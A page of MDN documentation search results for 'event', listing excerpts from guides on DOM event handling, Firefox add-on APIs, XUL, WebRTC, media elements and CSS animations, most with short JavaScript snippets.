access to the browser navigation history supporting and connective interfaces for other apis such as web components, web storage, web workers, websocket, and server-sent events.
... event handlers for document events defined by the html standard to allow access to mouse and keyboard events, drag and drop, media control, and more.
... event handlers for events that can be delivered to both elements and documents; these presently include only copy, cut, and paste actions.
...And 15 more matches
ui/button/action - Archive of obsolete content
with this module you can create buttons that display icons and can respond to click events.
... responding to click events you can respond to click events by assigning a listener to the button's click event.
... you can generate click events programmatically with the button's click() method.
...And 14 more matches
Using microtasks in JavaScript with queueMicrotask() - Web APIs
a microtask is a short function which is executed after the function or program which created it exits and only if the javascript execution stack is empty, but before returning control to the event loop being used by the user agent to drive the script's execution environment.
... this event loop may be either the browser's main event loop or the event loop driving a web worker.
... javascript promises and the mutation observer api both use the microtask queue to run their callbacks, but there are other times when the ability to defer work until the current event loop pass is wrapping up.
...And 14 more matches
Basic concepts - Web APIs
you get notified by a dom event when the operation finishes, and the type of event you get lets you know if the operation succeeded or failed.
...requests are objects that receive the success or failure dom events that were mentioned previously.
... they have onsuccess and onerror properties, and you can call addeventlistener() and removeeventlistener() on them.
...And 14 more matches
RTCDataChannel - Web APIs
the peer being invited to exchange data receives a datachannel event (which has type rtcdatachannelevent) to let it know the data channel has been added to the connection.
... propertiesalso inherits properties from: eventtargetbinarytype the property binarytype on the rtcdatachannel interface is a domstring which specifies the type of javascript object which should be used to represent binary data received on the rtcdatachannel.
...tes the state of the data channel's underlying data connection.reliable read only the read-only rtcdatachannel property reliable indicates whether or not the data channel is reliable.stream read only the deprecated (and never part of the official specification) read-only rtcdatachannel property stream returns an id number (between 0 and 65,535) which uniquely identifies the rtcdatachannel.event handlersalso inherits event handlers from: eventtargetonbufferedamountlow the rtcdatachannel.onbufferedamountlow property is an eventhandler which specifies a function the browser calls when the bufferedamountlow event is sent to the rtcdatachannel.
...And 14 more matches
remote/child - Archive of obsolete content
each frame then has a content property that's the top-level dom window for the frame, and addeventlistener/removeeventlistener functions that enable you to listen to dom events dispatched by the frame.
... properties port an event emitter that sends and receives events from the main process.
...listen to attach and detach events to hear as frames are created and destroyed.
...And 13 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
fixme: figure 6: clock window produced by phase 2 adding an event handler first, we add an event handler to the menu item that will open the window (listing 4).
... fixme: listing 4: event handler clock handler create the window that displays the clock (listing 5) and its controller (listing 6).
... listing 15: content for overlay.js var gsessionstore = { // directory to save sessions (nsilocalfile) _dir: null, // initialization init: function() { }, // uninitialization uninit: function() { }, // save session (event handler) save: function(event) { }, // restore session (event handler) restore: function(event) { }, // delete session (event handler) clear: function(event) { }, // dynamically generate menu items (event handler) createmenu: function(event) { }, // read file _readfile: function(afile) { }, // write file _writefile: function(afile, adata) { }, }; window.addeventlistener("loa...
...And 13 more matches
A simple RTCDataChannel sample - Web APIs
starting up when the script is run, we set up an load event listener, so that once the page is fully loaded, our startup() function is called.
... function startup() { connectbutton = document.getelementbyid('connectbutton'); disconnectbutton = document.getelementbyid('disconnectbutton'); sendbutton = document.getelementbyid('sendbutton'); messageinputbox = document.getelementbyid('message'); receivebox = document.getelementbyid('receivebox'); // set event listeners for user interface widgets connectbutton.addeventlistener('click', connectpeers, false); disconnectbutton.addeventlistener('click', disconnectpeers, false); sendbutton.addeventlistener('click', sendmessage, false); } this is quite straightforward.
... we grab references to all the page elements we'll need to access, then set event listeners on the three buttons.
...And 13 more matches
Creating a cross-browser video player - Developer guides
ment.getelementbyid('playpause'); var stop = document.getelementbyid('stop'); var mute = document.getelementbyid('mute'); var volinc = document.getelementbyid('volinc'); var voldec = document.getelementbyid('voldec'); var progress = document.getelementbyid('progress'); var progressbar = document.getelementbyid('progress-bar'); var fullscreen = document.getelementbyid('fs'); using these handles, events can now be attached to each of the custom control buttons making them interactive.
... most of these buttons require a simple click event listener to be added, and a media api defined method and/or attributes to be called/checked on the video.
... play/pause playpause.addeventlistener('click', function(e) { if (video.paused || video.ended) video.play(); else video.pause(); }); when a click event is detected on the play/pause button, the handler first of all checks if the video is currently paused or has ended (via the media api's paused and ended attributes); if so, it uses the play() method to playback the video.
...And 13 more matches
context-menu - Archive of obsolete content
items are bound to contexts in much the same way that event listeners are bound to events.
... a special event named "context" is emitted in your content scripts whenever the context menu is about to be shown.
... if you register a listener function for this event and it returns true, the menu item associated with the listener's content script is shown in the menu.
...And 12 more matches
panel - Archive of obsolete content
ArchiveMozillaXULpanel
consumeoutsideclicks type: boolean controls whether or not the event that caused the popup to be automatically dismissed (or "rolled up") should be consumed or be dispatched as a normal event.
...if it set to true the rollup event is consumed.
... if set to false, the rollup event is not consumed.
...And 12 more matches
Sending forms through JavaScript - Learn web development
urlencodeddata = urlencodeddatapairs.join( '&' ).replace( /%20/g, '+' ); // define what happens on successful data submission xhr.addeventlistener( 'load', function(event) { alert( 'yeah!
... data sent and response loaded.' ); } ); // define what happens in case of error xhr.addeventlistener( 'error', function(event) { alert( 'oops!
... xhr.send( urlencodeddata ); } btn.addeventlistener( 'click', function() { senddata( {test:'ok'} ); } ) here's the live result: note: this use of xmlhttprequest is subject to the same-origin policy if you want to send data to a third party web site.
...And 12 more matches
PerfMeasurement.jsm
any measurable event that was not being recorded has a value of -1 (that is, 0xffffffffffffffff).
... note: these values are all zeroed (or set to -1, for events not being measured) when you initialize the perfmeasurement object, then they are not zeroed again unless you explicitly call the reset() method.
... event types measured constant the eventsmeasured constant provides a mask indicating which event types were recorded.
...And 12 more matches
JS::PerfMeasurement
it is a stopwatch profiler -- that is, it counts events that occur while code of interest is running; it does not do call traces or sampling.
... the current implementation can measure eleven different types of low-level hardware and software events: events that can be measured bitmask passed to constructor counter variable what it measures perfmeasurement::cpu_cycles .cpu_cycles raw cpu clock cycles ::instructions .instructions total instructions executed ::cache_references .cache_references total number of memory accesses ::cache_misses .cache_misses memory accesses that missed the cache ::branch_instructions .branch_instructions branch instructions executed ::branch_misses .branch_misses branch instructions that were not predicted correctly ::bus_cycles .bus_cycles total memory bus cycles ::page...
..._faults .page_faults total page-fault exceptions fielded by the os ::major_page_faults .major_page_faults page faults that required disk access ::context_switches .context_switches context switches involving the profiled thread ::cpu_migrations .cpu_migrations migrations of the profiled thread from one cpu core to another these events map directly to "generic events" in the linux 2.6.31+ <linux/perf_event.h> interface, and so unfortunately are a little vague in their specification; for instance, we can't tell you exactly which level of cache you get misses for if you measure cache_misses.
...And 12 more matches
nsIThread
threads have a built-in event queue, and a thread is an event target that can receive nsirunnable objects (events) to be processed on the thread.
... last changed in gecko 1.9 (firefox 3) inherits from: nsieventtarget method overview void shutdown() boolean haspendingevents() boolean processnextevent(in boolean maywait) attributes attribute type description prthread prthread the nspr thread object corresponding to the nsithread.
...this causes events to stop being dispatched to the thread, and causes any pending events to run to completion before the thread joins with the current thread (see pr_jointhread() for details).
...And 12 more matches
nsIWebProgress
they limit the set of events that are delivered to an nsiwebprogresslistener instance.
... constant value description notify_state_request 0x00000001 only receive the nsiwebprogresslistener.onstatechange() event if the astateflags parameter includes nsiwebprogresslistener::state_is_request.
... notify_state_document 0x00000002 only receive the nsiwebprogresslistener.onstatechange() event if the astateflags parameter includes nsiwebprogresslistener::state_is_document.
...And 12 more matches
Example and tutorial: Simple synth keyboard - Web APIs
border: 1px solid black; border-radius: 5px; width: 20px; height: 80px; text-align: center; box-shadow: 2px 2px darkgray; display: inline-block; position: relative; margin-right: 3px; user-select: none; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; } .key div { position: absolute; bottom: 0; text-align: center; width: 100%; pointer-events: none; } .key div sub { font-size: 10px; pointer-events: none; } .key:hover { background-color: #eef; } .key:active { background-color: #000; color: #fff; } .octave { display: inline-block; padding: 0 6px 0 0; } .settingsbar { padding-top: 8px; font: 14px "open sans", "lucida grande", "arial", sans-serif; position: relative; vertical-align: middle; width: 100%; hei...
... function setup() { notefreq = createnotetable(); volumecontrol.addeventlistener("change", changevolume, false); mastergainnode = audiocontext.creategain(); mastergainnode.connect(audiocontext.destination); mastergainnode.gain.value = volumecontrol.value; // create the keys; skip any that are sharp or flat; for // our purposes we don't need them.
... an event handler is established (by calling our old friend addeventlistener() to handle change events on the master gain control.
...And 12 more matches
Coordinate systems - CSS: Cascading Style Sheets
offset coordinates specified using the "offset" model use the top-left corner of the element being examined, or on which an event has occurred.
... for example, when a mouse event occurs, the position of the mouse as specified in the event's offsetx and offsety properties are given relative to the top-left corner of the node to which the event has been delivered.
... client the "client" coordinate system uses as its origin the top-left corner of the viewport or browsing context in which the event occurred.
...And 12 more matches
WAI ARIA Live Regions/API Support - Developer guides
events fired for web page mutations what changed in document?
... atk/at-spi event iaccessible2 event object about to be hidden or removed children_changed::remove (fired on the parent, with event data pointing to the child index of the accessible object to be removed) event_object_hide* (fired on the actual accessible object about to go away) object shown or inserted children_changed::add (fired on the parent, with event data pointing to the child index of the inserted accessible object) event_object_show* (fired on the actual new accessible object) object replaced with different object (this happens especially if an object's interfaces or role changes) children_changed::remove followed immediately by children_change::add event_object_hide followed immediately by event_object_show text removed t...
...ext_changed::delete ia2_event_text_removed (use iaccessibletext::get_oldtext to retrieve the offsets and removed text) text inserted text_changed::insert ia2_event_text_inserted (use iaccessibletext::get_newtext to retrieve the offsets and inserted text) text replaced text_changed::delete followed immediately by text_changed::insert ia2_event_text_removed followed immediately by ia2_event_text_inserted * we do not use msaa's create/destroy at the request of screen reader vendors, who avoid those events because they cause crashes on some important system -- show/hide are the equivalent of those events.
...And 12 more matches
begin - SVG: Scalable Vector Graphics
WebSVGAttributebegin
each individual value can be one of the following : <offset-value>, <syncbase-value>, <event-value>, <repeat-value>, <accesskey-value>, <wallclock-sync-value> or the keyword indefinite.
...each value can be one of the following: <offset-value> this value defines a clock-value that represents a point in time relative to the beginning of the svg document (usually the load or domcontentloaded event).
... <event-value> this value defines an event and an optional offset that determines the time at which the element's animation should begin.
...And 12 more matches
Communicating With Other Scripts - Archive of obsolete content
content scripts that have been loaded into the same document by different methods, or the same method called more than once, can pass messages directly to each other using the dom postmessage() api or a customevent.
...a page-mod and a context-menu) they can directly communicate by dispatching and listening for customevents on dom objects they can access (e.g.
... page scripts if a page includes its own scripts using <script> tags, either embedded in the page or linked to it using the src attribute, there are a couple of ways a content script can communicate with it: using the dom postmessage() api using custom dom events using the dom postmessage api note that before firefox 31 code in content scripts can't use window to access postmessage() and addeventlistener() and instead must use document.defaultview.
...And 11 more matches
Content Processes - Archive of obsolete content
content scripts communicate with add-on code using something called event emitters.
... event emitters the messaging api we use to send json messages between scripts in different processes is based on the use of event emitters.
... an event emitter maintains a list of callbacks (or listeners) for one or more named events.
...And 11 more matches
page-worker - Archive of obsolete content
for example, self.port.emit("my-event") becomes addon.port.emit("my-event").
...this may take one of the following values: "start": load content scripts immediately after the document element for the page is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires this property is optional and defaults to "end".
... onmessage function use this to add a listener to the page worker's message event.
...And 11 more matches
content/worker - Archive of obsolete content
onmessage function functions that will registered as a listener to a 'message' events.
... onerror function functions that will registered as a listener to an 'error' events.
... worker worker is composed from the eventemitter trait, therefore instances of worker and their descendants expose all the public properties exposed by eventemitter along with additional public properties that are listed below.
...And 11 more matches
Miscellaneous - Archive of obsolete content
example for firefox: services.startup.quit(services.startup.eforcequit|services.startup.erestart); mouse and keyboard detecting mouse wheel events when scrolling the mouse wheel on an element, the dommousescroll event fires.
... event.detail contains the number of lines to scroll.
... this event is mozilla-only; other browsers may support window.onmousewheel.
...And 11 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
the action taken when pressing one of these buttons is defined by an event handler with the name ondialog<button name>.
... if these event handlers are not defined, pressing either the accept button or cancel button will simply close that dialog.
... figure 7: menu items with icons executing commands when selecting menu items much like dynamic html, event handlers are used to execute a command when a menu item is selected.
...And 11 more matches
Session store API - Archive of obsolete content
knowing when to restore each time firefox is about to restore a tab, an event of type sstabrestoring is sent.
... if your extension wants to be able to restore data when tabs are restored, you can install a listener like this: function myextensionhandlerestore(aevent) { var tab = event.originaltarget; /* the tab being restored */ var uri = tab.linkedbrowser.contentdocument.location; /* the tab's uri */ components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice) .logstringmessage("restoring tab: " + uri); }; document.addeventlistener("sstabrestoring", myextensionhandlerestore, false); simply replace the contents of the function myextensionhandlerestore() with whatever you need to do when the tab is restored.
... this event is sent just before a tab is restored.
...And 11 more matches
Tabbed browser - Archive of obsolete content
if you need to do something with gbrowser right after the window is opened, listen for the load event and use gbrowser in the event listener.
... // wrong way (the page hasn't finished loading yet) var newtabbrowser = gbrowser.getbrowserfortab(gbrowser.addtab("http://www.google.com/")); alert(newtabbrowser.contentdocument.body.innerhtml); // better way var newtabbrowser = gbrowser.getbrowserfortab(gbrowser.addtab("http://www.google.com/")); newtabbrowser.addeventlistener("load", function () { newtabbrowser.contentdocument.body.innerhtml = "<div>hello world</div>"; }, true); (the event target in the onload handler will be a 'tab' xul element).
... xul: <menuitem oncommand="myextension.foo(event)" onclick="checkformiddleclick(this, event)" label="click me"/> js: var myextension = { foo: function(event) { openuilink("http://www.example.com", event, false, true); } } opening a url in an on demand tab cu.import("resource://gre/modules/xpcomutils.jsm"); xpcomutils.definelazyservicegetter(this, "gsessionstore", "@mozilla.org/browser/sessionstor...
...And 11 more matches
What is JavaScript? - Learn web development
orm: uppercase; text-align: center; border: 2px solid rgba(0,0,200,0.6); background: rgba(0,0,200,0.3); color: rgba(0,0,200,0.6); box-shadow: 1px 1px 2px rgba(0,0,200,0.4); border-radius: 10px; padding: 3px 10px; display: inline-block; cursor: pointer; } and finally, we can add some javascript to implement dynamic behaviour: const para = document.queryselector('p'); para.addeventlistener('click', updatename); function updatename() { let name = prompt('enter a new name'); para.textcontent = 'player 1: ' + name; } try clicking on this last version of the text label to see what happens (note also that you can find this demo on github — see the source code, or run it live)!
... running code in response to certain events occurring on a web page.
... we used a click event in our example above to detect when the button is clicked and then run the code that updates the text label.
...And 11 more matches
nsIDBChangeListener
ainstigator) {}, onhdradded: function(ahdrchanged, aparentkey, aflags, ainstigator) {}, onparentchanged: function(akeychanged, oldparent, newparent, ainstigator) {}, onannouncergoingaway: function(ainstigator) {}, onreadchanged: function(ainstigator) {}, onjunkscorechanged: function(ainstigator) {}, onhdrpropertychanged: function(ahdrtochange, aprechange, astatus, ainstigator) {}, onevent: function(adb, aevent) {}, queryinterface: function(aiid) { if (!aiid.equals(components.interfaces.nsidbchangelistener) && !aiid.equals(components.interfaces.nsisupports)) throw components.results.ns_error_no_interface; return this; } }; and to attach it in thunderbird, we must call addlistener on a nsidbchangeannouncer, typically through a nsimsgdatabase.
...; void onannouncergoingaway(in nsidbchangeannouncer instigator); void onreadchanged(in nsidbchangelistener ainstigator); void onjunkscorechanged(in nsidbchangelistener ainstigator); void onhdrpropertychanged(in nsimsgdbhdr ahdrtochange, in unsigned long aoldflags, in prbool aprechange, inout pruint32 astatus, in nsidbchangelistener ainstigator); void onevent(in nsimsgdatabase adb, in string aevent); methods onhdrflagschanged() called when a message's flags change.
...this can be used to filter out events that you yourself started.
...And 11 more matches
nsIFrameLoader
method overview void activateframeevent(in astring atype, in boolean capture); void activateremoteframe(); void destroy(); void loadframe(); void loaduri(in nsiuri auri); void sendcrossprocesskeyevent(in astring atype, in long akeycode, in long acharcode, in long amodifiers, [optional] in boolean apreventdefault); void sendcrossprocessmouseevent(in astring atype, in float ax, in...
... methods activateframeevent() activates event forwarding from client (remote frame) to parent.
... void activateframeevent( in astring atype, in boolean capture ); parameters atype the event type for which to enable forwarding.
...And 11 more matches
nsISound
to use this interface, use: var sound = components.classes["@mozilla.org/sound;1"] .createinstance(components.interfaces.nsisound); method overview void beep(); void init(); void play(in nsiurl aurl); void playeventsound(in unsigned long aeventid); void playsystemsound(in astring soundalias); constants sound event constants constant value description event_new_mail_received 0 the system receives email.
... event_alert_dialog_open 1 an alert dialog is opened.
... event_confirm_dialog_open 2 a confirm dialog is opened.
...And 11 more matches
Activity Manager examples
if the default implementation of nsiactivityprocess, nsiactivitywarning and nsiactivityevent are not sufficient for the activity initiator, activity developers can provide their own components to extend the capabilities.
... showing a user-defined activity in the activity manager window the following sample will show a process and an event for junk processing in the activity manager window.
... // step 1: adding a process into the activity manager const nsiap = components.interfaces.nsiactivityprocess; const nsiae = components.interfaces.nsiactivityevent; const nsiam = components.interfaces.nsiactivitymanager; let gactivitymanager = components.classes["@mozilla.org/activity-manager;1"].getservice(nsiam); let process = components.classes["@mozilla.org/activity-process;1"].createinstance(nsiap); // assuming folder is an instance of nsimsgfolder interface // localization is omitted, initiator is not provided process.init("processing folder: " + folder.prettiestname, null); // note that we don't define a custom icon, default process icon // will be used process.contexttype = "account"; // group this activity by account process.contextobj = folder.server; // account ...
...And 11 more matches
Using files from web applications - Web APIs
accessing the first selected file using a classical dom selector: const selectedfile = document.getelementbyid('input').files[0]; accessing selected file(s) on a change event it is also possible (but not mandatory) to access the filelist through the change event.
... you need to use eventtarget.addeventlistener() to add the change event listener, like this: const inputelement = document.getelementbyid("input"); inputelement.addeventlistener("change", handlefiles, false); function handlefiles() { const filelist = this.files; /* now you can work with the file list */ } getting information about selected file(s) the filelist object provided by the dom lists all of the files selected by the user, each specified as a file object.
... "yib"]; for (nmultiple = 0, napprox = nbytes / 1024; napprox > 1; napprox /= 1024, nmultiple++) { soutput = napprox.tofixed(3) + " " + amultiples[nmultiple] + " (" + nbytes + " bytes)"; } // end of optional code document.getelementbyid("filenum").innerhtml = nfiles; document.getelementbyid("filesize").innerhtml = soutput; } document.getelementbyid("uploadinput").addeventlistener("change", updatesize, false); </script> </body> </html> using hidden file input elements using the click() method you can hide the admittedly ugly file <input> element and present your own interface for opening the file picker and displaying which file or files the user has selected.
...And 11 more matches
FileReader - Web APIs
event handlers filereader.onabort a handler for the abort event.
... this event is triggered each time the reading operation is aborted.
... filereader.onerror a handler for the error event.
...And 11 more matches
Using CSS animations - CSS: Cascading Style Sheets
animation-name: fadeinout, moveleft300px, bounce; animation-duration: 2.5s, 5s; animation-iteration-count: 2, 1; using animation events you can get additional control over animations — as well as useful information about them — by making use of animation events.
... these events, represented by the animationevent object, can be used to detect when animations start, finish, and begin a new iteration.
... each event includes the time at which it occurred as well as the name of the animation that triggered the event.
...And 11 more matches
Border-image generator - CSS: Cascading Style Sheets
reak-all; float: left; } javascript content 'use strict'; /** * ui-slidersmanager */ var inputslidermanager = (function inputslidermanager() { var subscribers = {}; var sliders = []; var inputcomponent = function inputcomponent(obj) { var input = document.createelement('input'); input.setattribute('type', 'text'); input.style.width = 50 + obj.precision * 10 + 'px'; input.addeventlistener('click', function(e) { this.select(); }); input.addeventlistener('change', function(e) { var value = parsefloat(e.target.value); if (isnan(value) === true) setvalue(obj.topic, obj.value); else setvalue(obj.topic, value); }); return input; }; var slidercomponent = function slidercomponent(obj, sign) { var slider = document.createelement('div'); var sta...
...rtx = null; var start_value = 0; slider.addeventlistener("click", function(e) { document.removeeventlistener("mousemove", slidermotion); setvalue(obj.topic, obj.value + obj.step * sign); }); slider.addeventlistener("mousedown", function(e) { startx = e.clientx; start_value = obj.value; document.body.style.cursor = "e-resize"; document.addeventlistener("mouseup", slideend); document.addeventlistener("mousemove", slidermotion); }); var slideend = function slideend(e) { document.removeeventlistener("mousemove", slidermotion); document.body.style.cursor = "auto"; slider.style.cursor = "pointer"; }; var slidermotion = function slidermotion(e) { slider.style.cursor = "e-resize"; var delta = (e.clientx - startx) / obj.sensivity | 0; var value...
...ld !== null) { option = node.firstelementchild; option_value = option.getattribute('data-value'); if (option_value === null) option.setattribute('data-value', uval); list.appendchild(node.firstelementchild); uval++; } node.appendchild(select); node.appendchild(list); select.onclick = this.toggle.bind(this); list.onclick = this.updatevalue.bind(this); document.addeventlistener('click', clickout); this.state = 0; this.time = 0; this.dropmenu = list; this.select = select; this.toggle(false); this.value = {}; this.topic = topic; if (label) select.textcontent = label; else this.setnodevalue(list.children[selected]); dropdowns[topic] = this; }; dropdown.prototype.toggle = function toggle(state) { if (typeof(state) === 'boolean') ...
...And 11 more matches
Index - Developer guides
WebGuideIndex
9 cross-browser audio basics apps, audio, guide, html5, media, events this article provides: a basic guide to creating a cross-browser html5 audio player with all the associated attributes, properties, and events explained a guide to custom controls created using the media api 10 live streaming web audio and video guide, adaptive streaming live streaming technology is often employed to relay live events such as sports, concerts an...
... 17 event developer guide dom, event, guide, needsupdate, events events refers both to a design pattern used for the asynchronous handling of various incidents which occur in the lifetime of a web page and to the naming, characterization, and use of a large number of incidents of different types.
... 18 creating and triggering events advanced, dom, guide, javascript, needscontent, events this article demonstrates how to create and dispatch dom events.
...And 11 more matches
Intercepting Page Loads - Archive of obsolete content
the easy way: load events this comes from the tabbrowser code snippets page.
... in a nutshell, from the chrome code in the overlay we add an event listener for the load event.
... this._loadhandler = function() {that._onpageload(); }; gbrowser.addeventlistener("load", this._loadhandler, true); gbrowser is a global object that corresponds to the tabbrowser element in the main browser window.
...And 10 more matches
Drag and Drop - Archive of obsolete content
mozilla and xul provide a number of events that can handle when the user attempts to drag objects around.
...event handlers are called when the user starts and ends dragging, and at various points in-between.
... the list below describes the event handlers that can be called, which may be placed on any element.
...And 10 more matches
Building accessible custom components in XUL - Archive of obsolete content
this is handled in the spreadsheet_focus function, which is registered as a handler for the focus event.
... <code> var gfocuscell = null; function install_handlers() { var spreadsheet = window.document.getelementbyid('accjaxspreadsheet'); spreadsheet.addeventlistener('focus', spreadsheet_focus, true); spreadsheet.addeventlistener('click', spreadsheet_click, true); } function spreadsheet_focus(e) { if (e.target.tagname == 'grid') { if (!gfocuscell) { gfocuscell = e.target.getelementsbytagname('label')[0]; } gfocuscell.focus(); } else { gfocuscell = e.target; } } function spreadsheet_click(e) { e.target.focus(); } </code> finally, we'll add two lines to our .xul file to link in the javascript file (accjax.js) and call the install_handlers function when the spreadsheet is loaded.
...events in xul are similar to events in html documents.
...And 10 more matches
ContextMenus - Archive of obsolete content
context menu events there are various ways in which a context menu can be opened.
... although there are several ways to open a context menu, a single event may be used to listen for any of these situations; the 'contextmenu' event is fired in any case.
... <hbox id="container" align="center" oncontextmenu="..."> <label value="name:"/> <textbox id="name"/> </hbox> in this example, an attempt to open a context menu anywhere inside the hbox will call the event listener attached using the oncontextmenu attribute.
...And 10 more matches
Using the Editor from XUL - Archive of obsolete content
editor event handling editing operations happen in response to user events: mouse, key, drag and drop, and ime (international text input) events.
... in order to receive these events, the editor registers several event listeners on the document being edited.
... the following event listeners are registered: in nshtmleditor::installeventlisteners(), we install the following.
...And 10 more matches
menupopup - Archive of obsolete content
attributes ignorekeys, left, onpopuphidden, onpopuphiding, onpopupshowing, onpopupshown, position, top properties accessibletype, anchornode, popupboxobject, position, state, triggernode methods hidepopup, moveto, openpopup, openpopupatscreen, setconsumerollupevent, showpopup, sizeto examples the following example shows how a menupopup may be attached to a menulist.
... onpopuphidden type: script code this event is sent to a popup after it has been hidden.
... this event may also be received while the popup is still open, but when sub-menus contained within this popup are hidden.
...And 10 more matches
Common causes of memory leaks in extensions - Extensions
while bug 695480 should prevent most of these compartment leaks, add-ons still need to be aware of the practices that caused these leaks, as the fix causes many add-ons which would have otherwise caused a leak to instead throw errors when attempting to access nodes from documents which no longer exist.
...consider the following example code that could be part of your browser.xul overlay: gbrowser.addeventlistener("domcontentloaded", function(evt) { var contentdoc = evt.originaltarget; var i = 0; // refresh the title once each second setinterval(function() { contentdoc.title = ++i; }, 1000); }, false); one would normally expect that the interval (or timer) would be destroyed as soon as the document unloads, in the same way that event listeners are automatically destroyed.
...therefore, your add-on should clean up such intervals and timeouts when the corresponding content document is unloaded, by adding an unload event listener or by similar means.
...And 10 more matches
Client-side form validation - Learn web development
even if your form is validating correctly and preventing malformed input on the client-side, a malicious user can still alter the network request.
... note: there are several errors that will prevent the form from being submitted, including a badinput, patternmismatch, rangeoverflow or rangeunderflow, stepmismatch, toolong or tooshort, typemismatch, valuemissing, or a customerror.
...note how the invalid input gets focus, a default error message ("please fill out this field") appears, and the form is prevented from being sent.
...And 10 more matches
How to build custom form controls - Learn web development
we didn't implement this in our example, but it would be easy to do so, as the mechanism has already been implemented for the click event.
... window.addeventlistener("load", function () { document.body.classlist.remove("no-widget"); document.body.classlist.add("widget"); }); without js with js check out the source code note: if you really want to make your code generic and reusable, instead of doing a class switch it's far better to just add the widget class to hide the <select> elements, and to dyna...
...the features we plan to use are the following: classlist addeventlistener() foreach queryselector() and queryselectorall() beyond the availability of those specific features, there is still one issue remaining before starting.
...And 10 more matches
Web Replay
this non-determinism is prevented from spreading too far with the following techniques: different pointer values can affect the internal layout of hash tables.
... to prevent this from having an effect on iteration order (and execution behavior) in the table, the main table classes (for now plhashtable and pldhashtable) are instrumented so that they always iterate over elements in the order they were added when recording or replaying.
... to prevent this from having an effect on execution behavior, gc finalizers which can affect the recording are instrumented so that the finalizer action is performed at the same time in the replay as it was during the recording.
...And 10 more matches
Examples of web and XML development using the DOM - Web APIs
gth; i++) { for(var j = 0; j < ss[i].cssrules.length; j++) { dump( ss[i].cssrules[j].selectortext + "\n" ); } } for a document with a single stylesheet in which the following three rules are defined: body { background-color: darkblue; } p { font-face: arial; font-size: 10pt; margin-left: .125in; } #lumpy { display: none; } this script outputs the following: body p #lumpy example 5: event propagation this example demonstrates how events fire and are handled in the dom in a very simple way.
... when the body of this html document loads, an event listener is registered with the top row of the table.
... the event listener handles the event by executing the function stopevent, which changes the value in the bottom cell of the table.
...And 10 more matches
HTMLMediaElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 30%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 180" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/htmlmediaelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmediaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its ancestors htmlelement, element, node, and eventtarget.
... htmlmediaelement.mozframebufferlength is a unsigned long that indicates the number of samples that will be returned in the framebuffer of each mozaudioavailable event.
...And 10 more matches
PerformanceTiming - Web APIs
the performancetiming interface is a legacy interface kept for backwards compatibility and contains properties that offer performance timing information for various events which occur during the loading and use of the current page.
...some correspond to dom events; others describe the time at which internal browser operations of interest took place.
... performancetiming.unloadeventstart read only when the unload event has been thrown, indicating the time at which the previous document in the window began to unload.
...And 10 more matches
Keyboard-navigable JavaScript widgets - Accessibility
this technique involves programmatically moving focus in response to key events and updating the tabindex to reflect the currently focused item.
... tips use element.focus() to set focus do not use createevent(), initevent() and dispatchevent() to send focus to an element.
... dom focus events are considered informational only: generated by the system after something is focused, but not actually used to set focus.
...And 10 more matches
<input type="color"> - HTML: Hypertext Markup Language
WebHTMLElementinputcolor
value a 7-character domstring specifying a <color> in lower-case hexadecimal notation events change and input supported common attributes autocomplete and list idl attributes list and value methods select() value the value of an <input> element of type color is always a domstring which contains a 7-character string specifying an rgb color in hexadecimal format.
... tracking color changes as is the case with other <input> types, there are two events that can be used to detect changes to the color value: input and change.
...the change event is fired when the user dismisses the color picker.
...And 10 more matches
HTTP Index - HTTP
WebHTTPIndex
cross-origin resource policy complements cross-origin read blocking (corb), which is a mechanism to prevent some cross-origin reads by default.
...such requests can be useful to validate the content of a cache, and sparing a useless control, to verify the integrity of a document, like when resuming a download, or when preventing to lose updates when uploading or modifying a document on the server.
... 78 csp: block-all-mixed-content csp, content-security-policy, directive, http, mixed content, reference, security, block-all-mixed-content the http content-security-policy (csp) block-all-mixed-content directive prevents loading any assets using http when the page is loaded using https.
...And 10 more matches
Communicating using "postMessage" - Archive of obsolete content
as an alternative to port, content modules support the built-in message event.
... in most cases port is preferable to message events.
... however, the context-menu module does not support port, so to send messages from a content script to the add-on via a context menu object, you must use message events.
...And 9 more matches
Content Scripts - Archive of obsolete content
"ready": load the scripts after the dom for the page has been loaded: that is, at the point the domcontentloaded event fires.
... "end": load the scripts after all content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires.
... event listeners you can listen for dom events in a content script just as you can in a normal page script, but there are two important differences: first, if you define an event listener by passing it as a string into setattribute(), then the listener is evaluated in the page's context, so it will not have access to any variables defined in the content script.
...And 9 more matches
page-mod - Archive of obsolete content
to do this, you'll need to listen to the page-mod's attach event.
... this event is triggered every time the page-mod's content script is attached to a document.
... the attach event is sent to the "main.js" code.
...And 9 more matches
windows - Archive of obsolete content
enumerate and examine open browser windows, open new windows, and listen for window events.
...with this module, you can: enumerate the currently opened browser windows open new browser windows listen for common window events such as open and close private windows if your add-on has not opted into private browsing, then you won't see any private browser windows.
... private browser windows won't appear in the browserwindows property, you won't receive any window events, and you won't be able to open private windows.
...And 9 more matches
Communication between HTML and your extension - Archive of obsolete content
next i started investigating events, there are only a handful of events and the w3c documentation is pretty complete.
... the basic problem with the event model is probably due to what i was trying to do.
